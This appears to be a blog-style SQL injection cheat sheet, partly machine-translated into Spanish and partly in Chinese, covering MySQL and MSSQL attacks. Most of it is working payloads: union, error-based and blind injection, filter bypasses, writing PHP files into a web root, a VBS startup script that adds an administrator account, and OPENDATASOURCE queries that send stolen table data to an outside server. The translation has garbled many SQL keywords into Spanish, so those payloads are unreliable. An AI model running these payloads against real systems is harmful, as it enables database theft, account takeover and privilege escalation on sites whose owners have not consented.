El artículo es un poco largo, por favor sea paciente.

inyección base

consulta conjunta

Si el resultado de la consulta anterior no está vacío, se devuelven los valores de las dos consultas:

Si el resultado de la consulta anterior está vacío, solo se devuelve el valor de la consulta de unión:

selección de unión de palabra clave

número de campos requeridos

Cargas comunes: # Query table name ' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23 # Query field name ' union select group_concat (column_name) from information_schema.columns where table_name = 'table1' % 23




Inyección de error

Inyección de error La inyección consiste en utilizar la característica que mysql llevará a la consulta de información cuando se produzca un error. Hay 10 métodos de notificación de errores comúnmente utilizados de la siguiente manera:

# Modifique el campo de selección de usuario () para obtener información diferente

# 1. Floor () select * from test where id = 1 and ( select 1 from ( select count ( * ) ), concat ( user (), floor (rand( 0 ) * 2 ))x from information_schema. tables group by x )a);

# 2. extractvalue () select * from test where id = 1 and ( extractvalue ( 1 , concat ( 0x7e ,( select user ()), 0x7e )));

# 3. updatexml () select * from test where id = 1 and ( updatexml ( 1 , concat ( 0x7e ,( select user ()), 0x7e ), 1 ));

# 4. colección de geometría () seleccione * de la prueba donde id = 1 y colección de geometría (( seleccione * de ( seleccione * de ( seleccione el usuario ()) a) b));

# 5. multipunto()

select * from test where id = 1 and multipoint(( select * from ( select * from ( select user ())a)b));

6. polígono()

seleccione * de prueba donde id = 1 y polígono (( seleccione * de ( seleccione * de ( seleccione usuario ())a)b));

7. multipolígono()

select * from test where id = 1 and multipolygon(( select * from ( select * from ( select user ())a)b));

8. cadena lineal()

select * from test where id = 1 and linestring(( select * from ( select * from ( select user ())a)b));

9. cadena multilínea()

select * from test where id = 1 and multilinestring(( select * from ( select * from ( select user ())a)b));

10. Exp ()

select * from test where id = 1 and exp (~( select * from ( select user ())a));

persianas booleanas

Hay dos escenarios comunes de inyección ciega booleana, uno es que el valor de retorno es solo Verdadero o Falso, y el otro es Orden por inyección ciega.

El valor devuelto es solo de tipo Verdadero o Falso

Si el resultado de la consulta no está vacío, devuelve True (o éxito o similar); de lo contrario, devuelve False

Este tipo de inyección es relativamente simple. Puede adivinar los caracteres del nombre de la tabla, el nombre del campo y el valor del campo uno por uno, y juzgar si la suposición es correcta devolviendo el resultado.

Ejemplo: parámetro=' o ascii(substr((seleccionar base de datos()) ,1,1))<115—+

Ordenar por persianas

La ordenación de los resultados de order by rand (True) y order by rand (False) es diferente, y se puede hacer una anotación ciega de acuerdo con esta diferencia:

Ejemplo: ordenar por rand(base de datos()='pdotest')

Se devuelve una clasificación de True, lo que indica que database()='pdotest' es el valor correcto

tiempo ciego

De hecho, la mayoría de las páginas, incluso si hay una inyección de sql, básicamente no tendrán eco, por lo que en este momento es necesario usar un retraso para juzgar si el resultado de la consulta es correcto.

Las persianas de tiempo comunes son:

1. dormir(x)

id = ' o dormir(3)%23

id=' o si ( ascii ( substr ( base de datos ( ), 1 , 1 )) > 114 ,dormir( 3 ), 0 )% 23

Si el resultado de la consulta es correcto, la demora será de 3 segundos, y si el resultado de la consulta es incorrecto, no habrá demora.

2. punto de referencia()

Simule el retraso con un gran número de operaciones:

id = ' o punto de referencia (10000000, sha (1))% 23

id=' o si ( ascii ( substr ( base de datos (), 1 , 1 )) > 114 ,benchmark( 10000000 ,sha( 1 )), 0 )% 23

Probar este valor localmente puede demorar unos 3 segundos:

3. producto cartesiano

Calcular el producto cartesiano también simula el retraso a través de un gran número de operaciones:

seleccione el recuento ( * ) de information_schema.tables A , information_schema.tables B , information_schema.tables C

seleccione balabala de table1 donde '1' = '2' o si ( ascii ( substr ( base de datos ( ), 1 , 1 )) > 0 ,( select count ( * ) from information_schema.tables A, information_schema.tables B , information_schema. tablas C), 0 )

El retraso del producto cartesiano también es de unos 3 segundos.

Inyección de encabezado HTTP

El método de inyección es similar al anterior, es decir, el punto de inyección ha cambiado

Inyección dividida HTTP

Escenarios comunes, la instrucción SQL en el inicio de sesión es la siguiente y el símbolo de comentario está filtrado

seleccione xxx de xxx donde nombre de usuario = 'xxx' y contraseña = 'xxx'

# Método 1 nombre de usuario = 1 ' o extractvalue/* contraseña=1*/(1,concat(0x7e,(seleccionar base de datos()),0x7e))o'

La declaración SQL eventualmente se convierte en select xxx from xxx donde nombre de usuario = '1' o extractvalue /*' y contraseña = '*/ ( 1 , concat ( 0x7e ,( select database ()), 0x7e ))or ''

# Método 2 nombre de usuario = 1 ' o if(ascii(substr(base de datos(),1,1))=115,sleep(3),0) o ' 1 contraseña = 1 seleccionar * de usuarios donde nombre de usuario = '1' o if ( ascii ( substr ( base de datos (), 1 , 1 )) > 0 , dormir ( 3 ), 0 ) o '1' y contraseña = '1'


inyección secundaria

La inyección secundaria ocurre principalmente en la combinación de actualizar y seleccionar , como iniciar sesión después del registro

La carga útil maliciosa construida por el atacante será almacenada primero en la base de datos por el servidor, y luego la base de datos se eliminará del problema de inyección de SQL al empalmar las declaraciones de SQL.

Ataque de restricción de SQL

Si el parámetro de nombre de usuario es un tipo de cadena en mysql durante el registro y tiene un atributo único , la longitud se establece en VARCHAR (20).

Luego registramos un nombre de usuario cuyo nombre de usuario es admin [20 espacios] asd, luego en mysql, primero juzgaremos si hay duplicados. Si no hay duplicados, los primeros 20 caracteres serán interceptados y agregados a la base de datos, por lo que los datos almacenado en la base de datos es admin [20 espacios], y al iniciar sesión, la instrucción SQL ignorará los espacios , por lo que equivale a sobrescribir la cuenta de administrador.

derivación básica

derivación de caso

Se utiliza cuando no hay coincidencias entre mayúsculas y minúsculas al filtrar:

SELECCIONE * de la tabla;

bypass de doble escritura

Las condiciones de filtrado utilizadas para eliminar directamente los caracteres prohibidos son las siguientes:

preg_replace('/seleccionar/','',entrada)

Luego puede usar selectselect from xxx para omitir, después de eliminar una selección, el resto es select from xxx

espacios de derivación

Cuando se filtran los espacios, se pueden omitir con /**/ () %0a %09

Use hexadecimal para omitir caracteres específicos

Si se filtra el nombre de la tabla al consultar el nombre del campo, o si se filtran algunos caracteres específicos en la base de datos, puede usar hexadecimal para omitir:

seleccione column_name de information_schema.columns donde table_name=0x7573657273;

0x7573657273 es el hexadecimal de los usuarios

Solo se puede usar para nombres de tablas, nombres de campos, etc., palabras clave de funciones integradas, y no se puede reemplazar por hexadecimal.

Byte ancho, codificación predeterminada Latin1

inyección de bytes anchos

Cuando se escapa la comilla simple , pero la codificación es gbk , se combina con una barra invertida con un carácter especial para formar un carácter especial:

nombre de usuario = %df'# Después de decodificar por gbk, se convierte en: select * from users where nombre de usuario ='yun'#

Cerró con éxito la comilla simple.

Codificación Latin1

La codificación de la tabla Mysql por defecto es latin 1. Si el conjunto de caracteres está establecido en utf8, hay algunos caracteres que están en latin1 pero no en utf8. ¿Cómo maneja Mysql estos caracteres? solo ignoralo

Entonces podemos ingresar ?username=admin%c2 y almacenarlo en la tabla y se convierte en administrador

El %c2 anterior se puede reemplazar con cualquier carácter entre %c2-%ef

Alternativas a los personajes comunes

y -> && o -> || espacio-> /**/ -> %a0 -> %0a -> + # -> --+ -> ;%00(php<=5.3.4) -> o ' 1'='1 = -> like -> regexp -> <> -> in Nota: regexp es una coincidencia regular, y hay algunos nuevos métodos de inyección que usan regular




las comas se filtran

# Usar unión en su lugar: - 1 unión seleccione 1 , 2 , 3 - 1 unión seleccione * de ( seleccione 1 )a unión ( seleccione 2 )b unión ( seleccione 3 )c% 23

# límite: límite 2 , 1 límite 1 compensación 2

# substr : substr ( base de datos (), 5 , 1 ) substr ( base de datos () de 5 para 1 ) from es el primer carácter desde el que empezar, porque es para interceptar varios substr ( base de datos () de 5 ) # If for también es Filtrado mid( REVERSE (mid( base de datos () from ( - 5 ))) from ( - 1 )) reverse se invierte, mid y substr son equivalentes




# si : si ( base de datos () = 'xxx', dormir ( 3 ), 1 ) id = 1 y base de datos () = 'xxx' y dormir ( 3 ) seleccione el caso cuando la base de datos () = 'xxx' luego dormir ( 5 ) ) más 0 fin


se filtra el limite

seleccionar usuario del límite de usuarios 1

Agregue restricciones, como:

seleccione el usuario del grupo de usuarios por user_id que tiene user_id = 1 (user_id es una columna en la tabla)

information_schema se filtra

El motor innodb puede usar mysql.innodb_table_stats, innodb_index_stats, el registro registrará la tabla y la información clave en estas dos tablas

Además, las tablas del sistema sys.schema_table_statistics_with_buffer, sys.schema_auto_increment_columns se utilizan para registrar el caché de la consulta, que puede reemplazar a information_schema en algunos casos.

archivo de lectura y escritura

Permisos de lectura y escritura

Antes de leer y escribir archivos MySQL, debe verificar si tiene permisos. Los permisos del archivo mysql se almacenan en el campo file_priv de la tabla mysql, correspondiente a diferentes usuarios. Si puede leer y escribir, el registro de la base de datos es Y, de lo contrario, es N:

Podemos ver cuál es el usuario actual a través de user(), si el usuario correspondiente tiene permisos de lectura y escritura, mira hacia abajo, de lo contrario, abandona esta ruta y busca otros métodos.

Además de mirar los permisos de los usuarios, hay un lugar más para mirar, a saber, secure-file-priv . Es una variable de sistema utilizada para limitar las funciones de lectura y escritura, y tiene tres valores:

(1) Sin contenido, es decir, ilimitado

(2) es NULL, lo que indica que la lectura y escritura de archivos está prohibida

(3) es el nombre del directorio, lo que indica que solo se puede leer y escribir en este directorio

Este elemento de configuración se almacena en my.ini Después de la modificación, se debe reiniciar mysql para volver a cargar el archivo de configuración

leer archivo

Si se cumplen las dos condiciones anteriores, puede intentar leer y escribir archivos.

Las declaraciones comúnmente utilizadas para leer archivos son las siguientes:

select load_file(file_path); cargar el archivo de datos "/etc/passwd" en la tabla nombre de la tabla CAMPOS TERMINADOS EN 'n'; #leer el archivo del servidor cargar datos en el archivo local "/etc/passwd" en la biblioteca de la tabla Nombre de la tabla existente CAMPOS TERMINADOS EN ' n'; #Leer archivo del cliente

Cabe señalar que file_path debe ser una ruta absoluta, y las barras invertidas deben escaparse:

escribir archivo

seleccione 1,"" en el archivo de salida '/var/www/html/1.php'; seleccione 2,"" en el archivo de volcado '/var/www/html/1.php';

Cuando el valor de secure_file_priv es NULL, se puede omitir generando registros:

establecer global general_log_file = '/var/www/html/1.php'; establecer global general_log = on;

Además de general_log, hay muchos otros registros en el registro. En el escenario real, debe tener suficientes permisos para escribir el registro y debe apilar las condiciones de inyección para usar este método, por lo que es muy difícil de usar. .

Inyección DNS fuera de banda

Si el usuario accede al servidor DNS, se dejará un registro en el registro DNS. Si la solicitud lleva información de la consulta SQL, la información se puede llevar a los registros DNS.

Condiciones de Uso:

1.secure_file_priv está vacío y tiene permiso de lectura de archivos

2. El objetivo es Windows (usando UNC, Linux no es factible)

3. Sin eco y sin inyección a ciegas de tiempo

Cómo utilizar:

Puede encontrar un DNSlog gratuito: http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF

imagen


Método 2: ntunnel_mysql.php

El archivo de enlace php-mysq incorporado de Navicat se carga en el sitio web de destino

imagen


Configure navicat de la siguiente manera:

imagen


Método 3: Complemento incorporado de Ant Sword

imagen


Lanzamiento de escalada de privilegios de elementos

Cuando se inicia Windows, habrá algunos programas que se iniciarán en el inicio. En ese momento, los permisos de los programas que se inician son del sistema, porque el sistema los inicia. Usando esto, podemos escribir scripts automatizados en los elementos de inicio para lograr el propósito de la escalada de privilegios. Cuando MySQL puede escribir los elementos de inicio de Windows, puede usar MySQL para importar secuencias de comandos personalizadas en los elementos de inicio. Esta secuencia de comandos se ejecutará automáticamente cuando el usuario inicie sesión, se inicie y se apague.

En el sistema Windows 2003, la ruta del elemento de inicio es la siguiente: C:\Documentos y configuración\Administrador\Menú "Inicio"\Programas\Inicio C:\Documentos y configuración\Todos los usuarios\Menú "Inicio"\Programas\Inicio
         
         

En el sistema Windows2008, la ruta del elemento de inicio es la siguiente: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
         
         

Cuando obtenemos el webshell de un sitio web, si queremos obtener más permisos del servidor del sitio web, verifique el directorio de lectura y escritura del disco del sistema en el servidor.Si el directorio de inicio es C:\Users\username\AppData\ Roaming\Microsoft\Windows\Start Menu\Programs\Startup se puede leer y escribir, y podemos ejecutar un script que cargue un vbs o bat para escalar privilegios.

Aquí, use test.vbs para agregar la contraseña de usuario, y la contraseña de la cuenta se puede agregar automáticamente cuando se carga en el directorio de inicio y se reinicia.

establecer wshshell=createobject( "wscript.shell" ) a=wshshell.run( "cmd.exe /c prueba de usuario de red test123 /add" ,0) b=wshshell.run( "cmd.exe /c prueba de administradores de grupo local de red / agregar" ,0)

A través de mysql:

usar mysql; crear prueba de tabla (texto cmd); insertar en valores ("set wshshell = createobject (""wscript.shell"")"); insertar en valores ("a = wshshell.run (" "cmd.exe / c net user test test123 / add ", 0 )"); insertar en valores ("b = wshshell.run (""cmd.exe / c net localgroup administradores test / add "", 0 )"); seleccione * de




a en el archivo de salida "C:\Documentos y configuraciones\ Todos los usuarios\Menú Inicio\Programas\Inicio\secist.vbs";

Los privilegios se pueden escalar después de reiniciar

CVE-2016-6663 y CVE-2016-6664

https://lengjibo.github.io/mysqludf/

MSSQL

Conceptos básicos de MSSQL

Biblioteca integrada del sistema

MSSQL viene con seis bases de datos por defecto después de la instalación

4 bibliotecas del sistema: master , model , tempdb y msdb ;

2 bibliotecas de ejemplo: NorthwindTraders y pubs

Biblioteca integrada del sistema

Función

Maestro

Base de datos de control del sistema, incluida toda la información de configuración, información de inicio de sesión del usuario, operación actual del sistema

modelo

Plantilla de base de datos, cuando se crea la base de datos, se crea la plantilla de todas las bases de datos.

tempdb

Contenedor temporal que contiene todas las tablas temporales, procedimientos almacenados y archivos temporales que interactúan con otros programas

msdb

Principalmente utilizado por los usuarios, registra información de planificación, información de procesamiento de eventos, respaldo de datos, advertencia e información anormal.

tabla de vista del sistema

La base de datos MSSQL tiene sus propias tablas de datos instaladas:

ver tabla

Función

objetos del sistema

Se registran todas las tablas de la base de datos y los campos comunes son id, nombre y xtype

columnas del sistema

Registra los campos de todas las tablas en la base de datos, los campos de uso común son id, nombre y xtype

sys.bases de datos

Todas las bases de datos en SQL Server

sys.sql_logins

Todos los inicios de sesión en SQL Server

información_esquema.tablas

tabla de la base de datos del usuario actual

esquema_información.columnas

Columnas de la base de datos del usuario actual

sys.todas_las_columnas

Unión de todas las columnas de objetos del sistema y definidos por el usuario

sys.database_principals

Permisos de excepción para cada permiso o columna en la base de datos

sys.database_files

archivo de base de datos almacenado en la base de datos

Control de permisos MSSQL

rol de servidor

Roles de servidor fijos

permiso

sysadmin (rol de servidor más alto)

Ejecutar cualquier acción en SQL Server

administrador del servidor

Configurar los ajustes del servidor

administrador de configuración

Instale la replicación y administre el proceso de extensión

administrador de seguridad

Administre el inicio de sesión y cree permisos de base de datos y lea auditorías

administrador de procesos

Administrar procesos de SQL Server

creador de bases de datos

Crear y modificar bases de datos.

administrador de disco

Administrar archivos de disco

Puede ser juzgado por la siguiente declaración:

seleccione is_srvrolemember('sysadmin')

imagen


función de la base de datos

Roles de base de datos fijos

permiso

db_owner (privilegio más alto)

Usuario que puede realizar todas las acciones en la base de datos

db_accessadmin

Usuarios que pueden agregar y eliminar usuarios

db_datareader

Usuarios que pueden ver datos en tablas de usuario en todas las bases de datos

db_datawriter

Usuarios que pueden agregar, modificar y eliminar datos en tablas de usuario en todas las bases de datos

db_ddladmin

Usuarios que pueden realizar todas las operaciones DDL en la base de datos

db_securityadmin

Un usuario que puede administrar todas las acciones relacionadas con los permisos de seguridad en la base de datos

db_backoperator

Usuarios que pueden hacer una copia de seguridad de la base de datos

db_denydatareader

Usuarios que no pueden ver ningún dato en la base de datos

db_denydatawriter

Usuarios que no pueden cambiar ningún dato en la base de datos

Puede ser juzgado por la siguiente declaración:

seleccione es_miembro( 'db_propietario' )

imagen


Declaraciones comunes de MSSQL

# Crear base de datos crear base de datos [dbname]; crear prueba de base de datos ;

# eliminar base de datos descartar base de datos [dbname]; descartar prueba de base de datos ;

# Crear una nueva tabla create table table_name (name char ( 10 ), age tinyint,sex int ); # Antes de crear una nueva tabla, seleccione la base de datos, el valor predeterminado es la prueba de uso de la biblioteca maestra ; create table admin (users char ( 255 ) ),contraseña char ( 255 ), sex int );



# Suelte la nueva tabla suelte la tabla table_name ; suelte la tabla dbo.admin ;

# Insertar datos en la tabla insertar en table_name (columna1, columna2) valores (valor1, valor2); insertar en admin (usuarios, contraseña, sexo) valores ( 'admin' , 'admin' , 1 );

# eliminar contenido eliminar de nombre_tabla donde columna1 = valor1 ; eliminar de administrador donde sexo = 2 ;

# Actualizar contenido update table_name set column2 = ”xxx” where column1 = value1, actualizar admin set users = 'admintest' where sex = 2 ;

# Buscar contenido select * from table_name where column1 = value1; select passwd from admin where users = 'admin' ;


Ordenar y obtener los siguientes datos

No hay un campo de ordenación límite en la base de datos MSSQL, pero puede usar el top 1 para mostrar los primeros datos en los datos,

Use <> para excluir los datos mostrados y obtener los siguientes datos, lo que significa que no son iguales.

Use not in para excluir los datos que ya se han mostrado y obtener los siguientes datos, a los que puede seguir una colección.

# Use <> para obtener datos id =- 2 union select top 1 1 , id ,name from dbo.syscolumns where id = '5575058' and name <> 'id' and name <> 'username' --+ # Use not en Get data id =- 2 union select top 1 1 , table_name from information_schema.tables where table_name not in ( select


top 1 table_name from information_schema.tables ) --+ id =- 2 union select top 1 1 , id ,name from dbo.syscolumns where id = '5575058' and name not in ( ' id' , 'username' ) --+

Comentarios MSSSQL

Línea única: --space Líneas múltiples: /**/

Funciones comunes

nombre

Función

nombre_del_usuario()

Nombre de inicio de sesión del usuario

nombre de usuario()

Nombre del usuario en la base de datos

usuario

Nombre del usuario en la base de datos

nombre_bd()

nombre de almacenamiento de datos

@@versión

Devuelve información sobre la versión del servidor SQL

citanombre()

En el procedimiento almacenado, agregue [], '', etc. al nombre de la columna, al nombre de la tabla, etc. para garantizar que la instrucción SQL se pueda ejecutar con normalidad.

ESPERAR DEMORA '0:0:n'

'hora:minuto:segundo', WAITFOR DELAY '0:0:5' significa esperar 5 segundos para ejecutar

subcadena()

Interceptar cadena substr(cadena, iniciar posición de intercepción, longitud de intercepción), por ejemplo subcadena('abcdef',1,2) significa comenzar desde el primer bit, interceptar 2 bits, es decir, 'ab'

Tipos de inyección comunes

Inyección de consulta federada

1. Determine el punto de inyección y escriba ? id = 1 ' y 1=1--+ ?id=1' y 1 = 2 --+ # Entonces aquí está la inyección de caracteres, que debe cerrarse con comillas simples


2. Determinar el número de campos ? id = 1 ' ordenar por 3--+ ?id=1' ordenar por 4 --+

3. Punto de eco de juicio de consulta de unión ? id = 0 ' union select 1,2,3--+

4. Obtenga el nombre de la base de datos actual y la información de la versión ?id=0' union select 1 ,db_name(),@@version --+

5. Obtenga todos los nombres de la base de datos, la base de datos se ha convertido en una vista dinámica en una versión superior de SQL Server ? maestro.sys.bases de datos)--+

6. Obtenga todos los nombres de las tablas. Cuando no hay un nombre de base de datos delante de la información, la base de datos actual se consulta de manera predeterminada. A diferencia de mysql, cada base de datos tiene una tabla de información separada. Puede usar master.information_schema.tables para consultar la información de bases de datos diferentes ?id =0' union select top 1 1 , 2 , table_name from information_schema.tables where table_name not in ( seleccione top 1 table_name from information_schema.tables ) -- +

7. Obtenga todos los nombres de campo y agregue más calificaciones para facilitar la inyección ?

?id=0' union select top 1 1 , 2 ,column_name from information_schema. Columns where table_name = 'users' and column_name not in ( seleccione top 2 column_name from information_schema. Columns where table_name = 'users' ) --

8. Obtenga la información de la contraseña de la cuenta de la tabla de usuarios id = 0 ' union select top 1 1, nombre de usuario, contraseña de los usuarios--+

Inyección de error

La base de datos MSSQL es una base de datos de lenguaje fuertemente tipado. Cuando el tipo es inconsistente, se informará un error. Con la subconsulta, se puede realizar la inyección de errores.

1. Determinar el punto de inyección id = 1

2. Determinar si es una base de datos MSSQL # Regresar a MSSQL normal id = 1 y existe ( seleccione * de sysobjects) id = 1 y existe ( seleccione recuento ( * ) de sysobjects)


3. Juzgar el número de versión de la base de datos id = 1 y @@version > 0 --+ # @@version es una variable global de mssql. Cuando se ejecuta @@version > 0, se convertirá en un número y aparecerá un error. ser informado, lo que expondrá la información de la base de datos. Debe ejecutarse después del empalme donde

4. Obtenga el nombre de la base de datos actual y db_name() > 0 --+ y 1 = db_name() --+ # El principio de la inyección de errores es convertir otros tipos de valores a tipo int, y el resultado del original la ejecución de la declaración estallará


5. Determine los permisos que tiene el servidor actual y 1 = ( seleccione IS_SRVROLEMEMBER( 'sysadmin' )) --+ y 1 = ( seleccione IS_SRVROLEMEMBER( 'serveradmin' )) --+ y 1 = ( seleccione IS_SRVROLEMEMBER( 'setupadmin' ) ) --+ y 1 = ( seleccione IS_SRVROLEMEMBER( 'securityadmin' )) --+ y 1 = ( seleccione IS_SRVROLEMEMBER( 'diskadmin' ))




--+ y 1 = ( seleccione IS_SRVROLEMEMBER( 'bulkadmin' )) --+

6. Determine si el rol actual es DB_OWNER y 1 = ( select is_member( 'db_owner' )) --+ # db_owner El permiso puede escribir archivos en el sitio web de destino a través de la copia de seguridad

7. Obtenga el nombre de usuario actual y nombre_de_usuario() > 0 --+

8 , obtenga todos los nombres de bases de datos y ( seleccione el nombre de master .sys.databases donde database_id = 1 ) > 0 --+ # Cambie el valor de database_id para obtener todas las bases de datos

9.获取数据库的个数
and 1=(select quotename(count(name)) from master.sys.databases)--+

10.一次性获取所有数据库库
and 1=(select quotename(name) from master.sys.databases for xml path(''))--+

11.获取所有的表名
# 获取当前库第一个表
and 1=(select top 1 table_name from information_schema.tables)--+
# 获取当前库第二个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+
# 获取当前库第三个表
and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+
# 也可通过更改top 参数获取表
and 1=(select top 1 table_name from information_schema.tables where table_name not in
(select top 5 table_name from information_schema.tables))--+
# quotename和for xml path('')一次性获取全部表
and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+
# quotename()的主要作用就是在存储过程中,给列名、表名等加个[]、’’等以保证sql语句能正常执行。

12.获取字段名
# 通过top 和 not in 获取字段
and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+
and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+
# 通过quotename 和 for xml path('') 获取字段
and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+

13.获取表中数据
and 1=(select quotename(username) from users for xml path(''))--+
and 1=(select quotename(password) from users for xml path(''))--+

布尔盲注

1. 判断注入点 
and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+

2.猜解数据库个数
id=1 and (select count(*) from sys.databases)=7--+        # 存在7个数据库

3.猜解数据库名长度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+                              # 当前数据库名长度为4

4.猜解数据库名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+

5.猜解表名
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+

6.猜解字段名
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+

7.猜解表中数据
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+

时间盲注

1.判断是否存在注入
id=1 WAITFOR DELAY '0:0:5'--+

2.判断权限
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+

3.查询当前数据库的长度和名字
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+

4.查询数据库的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M

5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6

6.查询第一个表的长度
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+

7.查询第一个表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+

8.查询第二个表的长度
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+

9.查询第二个表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+

10.查询第一个表中的字段
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+

11.查询字段类型
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+

12.查询数据
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--

反弹注入

反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。

反弹注入需要使用opendatasource函数。

OPENDATASOURCE(provider_name,init_string)

使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

基本流程

连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。

 CREATE TABLE test(name VARCHAR(255))

获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。

 # 查询sysobjects表
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+

# 查询information_schema数据库
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+

# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+

# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+

MSSQL GetShell

扩展存储过程

扩展存储简介

在MSSQL注入攻击过程中,最长利用的扩展存储如下:

扩展存储过程

说明

xp_cmdshell

直接执行系统命令

sp_OACreate()

直接执行系统命令

sp_OAMethod()

直接执行系统命令

xp_regread

进行注册表读取

xp_regwrite

写入到注册表

xp_dirtree

进行列目录操作

xp_ntsec_enumdomains

查看domain信息

xp_subdirs

通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹

xp_cmdshell详细使用方法:

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它

execute('sp_configure "show advanced options",1')  # 将该选项的值设置为1
